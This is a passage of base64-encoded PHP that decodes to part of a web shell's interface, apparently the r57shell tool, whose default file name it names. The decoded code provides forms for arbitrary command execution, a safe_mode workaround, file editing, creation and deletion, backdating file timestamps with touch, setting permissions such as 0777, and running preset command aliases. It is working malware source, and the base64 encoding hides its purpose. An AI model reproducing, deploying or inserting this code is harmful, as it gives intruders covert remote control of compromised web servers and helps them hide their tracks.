ICYmKCRfQ09PS0lFWyRpZF09PTApKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJk aXNwbGF5OiBub25lOyI+JzsNCiRkaXZpZD1hcnJheSgnaWQ1JywnaWQ2JywnaWQ4JywnaWQ5Jywn aWQxMCcsJ2lkMTEnLCdpZDE2JywnaWQyNCcsJ2lkMjUnLCdpZDI2JywnaWQyNycsJ2lkMjgnLCdp ZDI5JywnaWQzMycsJ2lkMzQnLCdpZDM1JywnaWQzNycsJ2lkMzgnKTsNCmlmKGVtcHR5KCRfQ09P S0lFWyRpZF0pICYmQGluX2FycmF5KCRpZCwkZGl2aWQpKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlk LiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsNCnJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyI+ JzsNCn0NCmlmKCEkc2FmZV9tb2RlKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRs YW5nWyRsYW5ndWFnZS4nX3RleHQyJ10sJ2lkMScpLiR0YWJsZV91cDIuZGl2KCdpZDEnKS4kdHM7 DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+ IixpbigndGV4dCcsJ2NtZCcsODUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS53cyg0 KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVj aG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVsc2V7DQplY2hvICRmcy4kdGFi bGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjgnXSwnaWQyJykuJHRhYmxl X3VwMi5kaXYoJ2lkMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVu JywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdb JGxhbmd1YWdlLidfYnV0dDYnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZl Ow0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4 dDQyJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4i LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdlX25h bWUnLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2VkaXRfZmlsZScpLmluKCdoaWRkZW4n LCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3Vh Z2UuJ19idXR0MTEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KaWYo JHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0 bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU3J10sJ2lkNCcpLiR0YWJsZV91cDIuZGl2KCdpZDQn KS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OCddLiRhcnJv dy4iPC9iPiIsaW4oJ3RleHQnLCdta19uYW1lJyw1NCwoIWVtcHR5KCRfUE9TVFsnbWtfbmFtZSdd KT8oJF9QT1NUWydta19uYW1lJ10pOigibmV3X25hbWUiKSkpLndzKDQpLiI8c2VsZWN0IG5hbWU9 YWN0aW9uPjxvcHRpb24gdmFsdWU9Y3JlYXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10u Ijwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGVsZXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY2 J10uIjwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMykuIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24g dmFsdWU9ZmlsZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiI8L29wdGlvbj48b3B0aW9u IHZhbHVlPWRpcj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MCddLiI8L29wdGlvbj48L3NlbGVj dD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21rJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53 cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMyddKSk7 DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkdW5peCAmJkBmdW5j dGlvbl9leGlzdHMoJ3RvdWNoJykpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxh bmdbJGxhbmd1YWdlLidfdGV4dDEyOCddLCdpZDUnKS4kdGFibGVfdXAyLmRpdignaWQ1JykuJHRz Ow0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwv Yj4iLGluKCd0ZXh0JywnZmlsZV9uYW1lJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lJ10p PygkX1BPU1RbJ2ZpbGVfbmFtZSddKTooJGRpci4iL3I1N3NoZWxsLnBocCIpKSkNCi53cyg0KS4i PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjYnXS53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0NTknXS4kYXJyb3cuIjwvYj4iDQoud3MoMikuaW4oJ3RleHQnLCdmaWxlX25hbWVfcicsNDAs KCFlbXB0eSgkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pPygkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pOigi IikpKSk7DQplY2hvIHNyKDE1LCI8Yj4gb3Igc2V0ICBEYXkiLiRhcnJvdy4iPC9iPiIsDQonDQo8 c2VsZWN0IG5hbWU9ImRheSIgc2l6ZT0iMSI+DQo8b3B0aW9uIHZhbHVlPSIwMSI+MTwvb3B0aW9u Pg0KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjAzIj4zPC9v cHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNCI+NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDUi PjU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA2Ij42PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVl PSIwNyI+Nzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4NCjxvcHRpb24g dmFsdWU9IjA5Ij45PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4NCjxv cHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRp b24+DQo8b3B0aW9uIHZhbHVlPSIxMyI+MTM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0Ij4x NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVl PSIxNiI+MTY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPg0KPG9wdGlv biB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOSI+MTk8L29wdGlvbj4N CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9v cHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiI+MjI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIz Ij4yMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+DQo8b3B0aW9uIHZh bHVlPSIyNSI+MjU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPg0KPG9w dGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOCI+Mjg8L29wdGlv bj4NCjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzAiPjMw PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMSI+MzE8L29wdGlvbj4NCjwvc2VsZWN0PicNCi53 cyg0KS4iPGI+TW9udGgiLiRhcnJvdy4iPC9iPiINCi4nDQo8c2VsZWN0IG5hbWU9Im1vbnRoIiBz aXplPSIxIj4NCjxvcHRpb24gdmFsdWU9IkphbnVhcnkiPkphbnVhcnk8L29wdGlvbj4NCjxvcHRp b24gdmFsdWU9IkZlYnJ1YXJ5Ij5GZWJydWFyeTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iTWFy Y2giPk1hcmNoPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJBcHJpbCI+QXByaWw8L29wdGlvbj4N CjxvcHRpb24gdmFsdWU9Ik1heSI+TWF5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJKdW5lIj5K dW5lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJKdWx5Ij5KdWx5PC9vcHRpb24+DQo8b3B0aW9u IHZhbHVlPSJBdWd1c3QiPkF1Z3VzdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iU2VwdGVtYmVy Ij5TZXB0ZW1iZXI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Ik9jdG9iZXIiPk9jdG9iZXI8L29w dGlvbj4NCjxvcHRpb24gdmFsdWU9Ik5vdmVtYmVyIj5Ob3ZlbWJlcjwvb3B0aW9uPg0KPG9wdGlv biB2YWx1ZT0iRGVjZW1iZXIiPkRlY2VtYmVyPC9vcHRpb24+DQo8L3NlbGVjdD4nDQoud3MoNCku IjxiPlllYXIiLiRhcnJvdy4iPC9iPiINCi4nDQo8c2VsZWN0IG5hbWU9InllYXIiIHNpemU9IjEi Pg0KPG9wdGlvbiB2YWx1ZT0iMTk5OCI+MTk5ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTk5 OSI+MTk5OTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwMCI+MjAwMDwvb3B0aW9uPg0KPG9w dGlvbiB2YWx1ZT0iMjAwMSI+MjAwMTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwMiI+MjAw Mjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwMyI+MjAwMzwvb3B0aW9uPg0KPG9wdGlvbiB2 YWx1ZT0iMjAwNCI+MjAwNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwNSI+MjAwNTwvb3B0 aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwNjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0i MjAwNiI+MjAwNzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwODwvb3B0aW9uPg0K PG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+ MjAxMDwvb3B0aW9uPg0KPC9zZWxlY3Q+Jw0KLndzKDQpLiI8Yj5Ib3VyIi4kYXJyb3cuIjwvYj4i DQouJw0KPHNlbGVjdCBuYW1lPSJjaGFzaSIgc2l6ZT0iMSI+DQo8b3B0aW9uIHZhbHVlPSIwMSI+ MDE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjAyIj4wMjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1 ZT0iMDMiPjAzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNCI+MDQ8L29wdGlvbj4NCjxvcHRp b24gdmFsdWU9IjA1Ij4wNTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDYiPjA2PC9vcHRpb24+ DQo8b3B0aW9uIHZhbHVlPSIwNyI+MDc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA4Ij4wODwv b3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDkiPjA5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIx MCI+MTA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPg0KPG9wdGlvbiB2 YWx1ZT0iMTIiPjEyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMyI+MTM8L29wdGlvbj4NCjxv cHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRp b24+DQo8b3B0aW9uIHZhbHVlPSIxNiI+MTY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3Ij4x Nzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVl PSIxOSI+MTk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPg0KPG9wdGlv biB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiI+MjI8L29wdGlvbj4N CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9v cHRpb24+DQo8L3NlbGVjdD4nDQoud3MoNCkuIjxiPk1pbnV0ZSIuJGFycm93LiI8L2I+Ig0KLicN CjxzZWxlY3QgbmFtZT0ibWludXRlcyIgc2l6ZT0iMSI+DQo8b3B0aW9uIHZhbHVlPSIwMSI+MTwv b3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjAz Ij4zPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNCI+NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1 ZT0iMDUiPjU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA2Ij42PC9vcHRpb24+DQo8b3B0aW9u IHZhbHVlPSIwNyI+Nzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4NCjxv cHRpb24gdmFsdWU9IjA5Ij45PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlv bj4NCjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTIiPjEy PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMyI+MTM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9 IjE0Ij4xNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+DQo8b3B0aW9u IHZhbHVlPSIxNiI+MTY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPg0K PG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOSI+MTk8L29w dGlvbj4NCjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjEi PjIxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiI+MjI8L29wdGlvbj4NCjxvcHRpb24gdmFs dWU9IjIzIj4yMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+DQo8b3B0 aW9uIHZhbHVlPSIyNSI+MjU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9u Pg0KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOCI+Mjg8 L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0i MzAiPjMwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMSI+MzE8L29wdGlvbj4NCjxvcHRpb24g dmFsdWU9IjMyIj4zMjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzMiPjMzPC9vcHRpb24+DQo8 b3B0aW9uIHZhbHVlPSIzNCI+MzQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM1Ij4zNTwvb3B0 aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzYiPjM2PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzNyI+ Mzc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM4Ij4zODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1 ZT0iMzkiPjM5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0MCI+NDA8L29wdGlvbj4NCjxvcHRp b24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDIiPjQyPC9vcHRpb24+ DQo8b3B0aW9uIHZhbHVlPSI0MyI+NDM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwv b3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDUiPjQ1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0 NiI+NDY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ3Ij40Nzwvb3B0aW9uPg0KPG9wdGlvbiB2 YWx1ZT0iNDgiPjQ4PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0OSI+NDk8L29wdGlvbj4NCjxv cHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTEiPjUxPC9vcHRp b24+DQo8b3B0aW9uIHZhbHVlPSI1MiI+NTI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUzIj41 Mzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTQiPjU0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVl PSI1NSI+NTU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjU2Ij41Njwvb3B0aW9uPg0KPG9wdGlv biB2YWx1ZT0iNTciPjU3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1OCI+NTg8L29wdGlvbj4N CjxvcHRpb24gdmFsdWU9IjU5Ij41OTwvb3B0aW9uPg0KPC9zZWxlY3Q+Jw0KLndzKDQpLiI8Yj5T ZWNvbmQiLiRhcnJvdy4iPC9iPiINCi4nDQo8c2VsZWN0IG5hbWU9InNlY29uZCIgc2l6ZT0iMSI+ DQo8b3B0aW9uIHZhbHVlPSIwMSI+MTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29w dGlvbj4NCjxvcHRpb24gdmFsdWU9IjAzIj4zPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNCI+ NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9 IjA2Ij42PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIwNyI+Nzwvb3B0aW9uPg0KPG9wdGlvbiB2 YWx1ZT0iMDgiPjg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjA5Ij45PC9vcHRpb24+DQo8b3B0 aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9u Pg0KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMyI+MTM8 L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0i MTUiPjE1PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNiI+MTY8L29wdGlvbj4NCjxvcHRpb24g dmFsdWU9IjE3Ij4xNzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+DQo8 b3B0aW9uIHZhbHVlPSIxOSI+MTk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0 aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiI+ MjI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1 ZT0iMjQiPjI0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNSI+MjU8L29wdGlvbj4NCjxvcHRp b24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+ DQo8b3B0aW9uIHZhbHVlPSIyOCI+Mjg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwv b3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzAiPjMwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIz MSI+MzE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMyIj4zMjwvb3B0aW9uPg0KPG9wdGlvbiB2 YWx1ZT0iMzMiPjMzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzNCI+MzQ8L29wdGlvbj4NCjxv cHRpb24gdmFsdWU9IjM1Ij4zNTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzYiPjM2PC9vcHRp b24+DQo8b3B0aW9uIHZhbHVlPSIzNyI+Mzc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjM4Ij4z ODwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMzkiPjM5PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVl PSI0MCI+NDA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPg0KPG9wdGlv biB2YWx1ZT0iNDIiPjQyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0MyI+NDM8L29wdGlvbj4N CjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDUiPjQ1PC9v cHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0NiI+NDY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQ3 Ij40Nzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNDgiPjQ4PC9vcHRpb24+DQo8b3B0aW9uIHZh bHVlPSI0OSI+NDk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPg0KPG9w dGlvbiB2YWx1ZT0iNTEiPjUxPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1MiI+NTI8L29wdGlv bj4NCjxvcHRpb24gdmFsdWU9IjUzIj41Mzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTQiPjU0 PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1NSI+NTU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9 IjU2Ij41Njwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNTciPjU3PC9vcHRpb24+DQo8b3B0aW9u IHZhbHVlPSI1OCI+NTg8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjU5Ij41OTwvb3B0aW9uPg0K PC9zZWxlY3Q+Jw0KLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3RvdWNoJykNCi5pbignaGlkZGVuJywn ZGlyJywwLCRkaXIpDQoud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3Vh Z2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQok c2VsZWN0PScnOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2htb2QnKSl7JHNlbGVjdCAuPSAiPG9w dGlvbiB2YWx1ZT1tb2Q+Q0hNT0Q8L29wdGlvbj4iO30NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2No b3duJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9b3duPkNIT1dOPC9vcHRpb24+Ijt9DQpp ZihAZnVuY3Rpb25fZXhpc3RzKCdjaGdycCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPWdy cD5DSEdSUDwvb3B0aW9uPiI7fQ0KaWYoJHVuaXggJiYkc2VsZWN0KXsNCmVjaG8gJGZzLiR0YWJs ZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NyddLCdpZDYnKS4kdGFibGVf dXAyLmRpdignaWQ2JykuJHRzOw0KZWNobyBAc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BhcmFtMScsNTUsKCgkX1BPU1RbJ3Bh cmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCRkaXIuIi9yNTdzaGVsbC5waHAiKSkpLndzKDIp LiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIuIjxzZWxlY3Qg bmFtZT13aGF0PiIuJHNlbGVjdC4iPC9zZWxlY3Q+Ii53cyg0KS5pbigndGV4dCcsJ3BhcmFtMiB0 aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMTAsKCgkX1BPU1RbJ3BhcmFt MiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdj aF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQn LDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxl X2VuZDEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUpew0KJGFsaWFzZXMyID0gJyc7DQpmb3JlYWNo ICgkYWxpYXNlcyBhcyAkYWxpYXNfbmFtZT0+JGFsaWFzX2NtZCkNCnsNCiRhbGlhc2VzMiAuPSAi PG9wdGlvbj4kYWxpYXNfbmFtZTwvb3B0aW9uPiI7DQp9DQplY2hvICRmcy4kdGFibGVfdXAxLmRp dl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLCdpZDcnKS4kdGFibGVfdXAyLmRpdign aWQ3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii53cyg5KS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0 OCddLiRhcnJvdy53cyg0KS4iPC9iPiIsIjxzZWxlY3QgbmFtZT1hbGlhcz4iLiRhbGlhc2VzMi4i PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdz dWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2Picu JHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdb JGxhbmd1YWdlLidfdGV4dDU0J10sJ2lkOCcpLiR0YWJsZV91cDIuZGl2KCdpZDgnKS4kdHM7DQpl Y2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MiddLiRhcnJvdy4iPC9iPiIs aW4oJ3RleHQnLCdzX3RleHQnLDg1LCd0ZXh0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcs MCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTInXSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRk 